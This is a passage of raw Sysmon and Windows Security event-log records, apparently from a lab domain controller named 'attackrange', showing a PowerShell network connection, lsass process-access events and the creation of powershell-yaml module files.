AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Network connection detected:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:02.192\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nUser: ATTACKRANGE\\Administrator\r\nProtocol: tcp\r\nInitiated: true\r\nSourceIsIpv6: false\r\nSourceIp: 10.0.1.14\r\nSourceHostname: win-dc-9849183.attackrange.local\r\nSourcePort: 51456\r\nSourcePortName: \r\nDestinationIsIpv6: false\r\nDestinationIp: 168.61.186.235\r\nDestinationHostname: \r\nDestinationPort: 443\r\nDestinationPortName: https","Category":"Network connection detected (rule: NetworkConnect)","Opcode":"Info","UtcTime":"2020-08-07 11:56:02.192","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","User":"ATTACKRANGE\\Administrator","Protocol":"tcp","Initiated":"true","SourceIsIpv6":"false","SourceIp":"10.0.1.14","SourceHostname":"win-dc-9849183.attackrange.local","SourcePort":"51456","DestinationIsIpv6":"false","DestinationIp":"168.61.186.235","DestinationPort":"443","DestinationPortName":"https","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4703,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:03.992\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:03.992","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4704,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:03.992\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:03.992","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4705,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:03.992\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:03.992","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4706,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:04.023\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\eeex4ksi\\Load-Assemblies.ps1\r\nCreationUtcTime: 2020-08-07 11:56:04.023","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:04.023","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\eeex4ksi\\Load-Assemblies.ps1","CreationUtcTime":"2020-08-07 11:56:04.023","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4707,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:04.023\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\eeex4ksi\\Tests\\powershell-yaml.Tests.ps1\r\nCreationUtcTime: 2020-08-07 11:56:04.023","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:04.023","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\eeex4ksi\\Tests\\powershell-yaml.Tests.ps1","CreationUtcTime":"2020-08-07 11:56:04.023","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4708,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:04.023\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\eeex4ksi\\lib\\net35\\YamlDotNet.dll\r\nCreationUtcTime: 2020-08-07 11:56:04.023","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:04.023","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\eeex4ksi\\lib\\net35\\YamlDotNet.dll","CreationUtcTime":"2020-08-07 11:56:04.023","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4709,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:04.023\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\eeex4ksi\\lib\\netstandard1.3\\YamlDotNet.dll\r\nCreationUtcTime: 2020-08-07 11:56:04.023","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:04.023","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\eeex4ksi\\lib\\netstandard1.3\\YamlDotNet.dll","CreationUtcTime":"2020-08-07 11:56:04.023","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4710,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:04.039\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\eeex4ksi\\lib\\net45\\YamlDotNet.dll\r\nCreationUtcTime: 2020-08-07 11:56:04.039","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:04.039","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\eeex4ksi\\lib\\net45\\YamlDotNet.dll","CreationUtcTime":"2020-08-07 11:56:04.039","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4711,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:04.054\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\1219307390\\powershell-yaml\\Load-Assemblies.ps1\r\nCreationUtcTime: 2020-08-07 11:56:04.054","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:04.054","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\1219307390\\powershell-yaml\\Load-Assemblies.ps1","CreationUtcTime":"2020-08-07 11:56:04.054","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4712,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:04.054\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\1219307390\\powershell-yaml\\lib\\net35\\YamlDotNet.dll\r\nCreationUtcTime: 2020-08-07 11:56:04.054","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:04.054","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\1219307390\\powershell-yaml\\lib\\net35\\YamlDotNet.dll","CreationUtcTime":"2020-08-07 11:56:04.054","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4713,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:04.054\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\1219307390\\powershell-yaml\\lib\\net45\\YamlDotNet.dll\r\nCreationUtcTime: 2020-08-07 11:56:04.054","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:04.054","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\1219307390\\powershell-yaml\\lib\\net45\\YamlDotNet.dll","CreationUtcTime":"2020-08-07 11:56:04.054","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4714,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:04.070\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\1219307390\\powershell-yaml\\lib\\netstandard1.3\\YamlDotNet.dll\r\nCreationUtcTime: 2020-08-07 11:56:04.070","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:04.070","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\1219307390\\powershell-yaml\\lib\\netstandard1.3\\YamlDotNet.dll","CreationUtcTime":"2020-08-07 11:56:04.070","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4715,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:04.070\r\nProcessGuid: {90617006-4140-5F2D-0000-0010159A0600}\r\nProcessId: 3656\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\1219307390\\powershell-yaml\\Tests\\powershell-yaml.Tests.ps1\r\nCreationUtcTime: 2020-08-07 11:56:04.070","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:04.070","ProcessGuid":"{90617006-4140-5F2D-0000-0010159A0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\1219307390\\powershell-yaml\\Tests\\powershell-yaml.Tests.ps1","CreationUtcTime":"2020-08-07 11:56:04.070","EventReceivedTime":"2020-08-07 11:56:04","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221917,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x698F5\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same 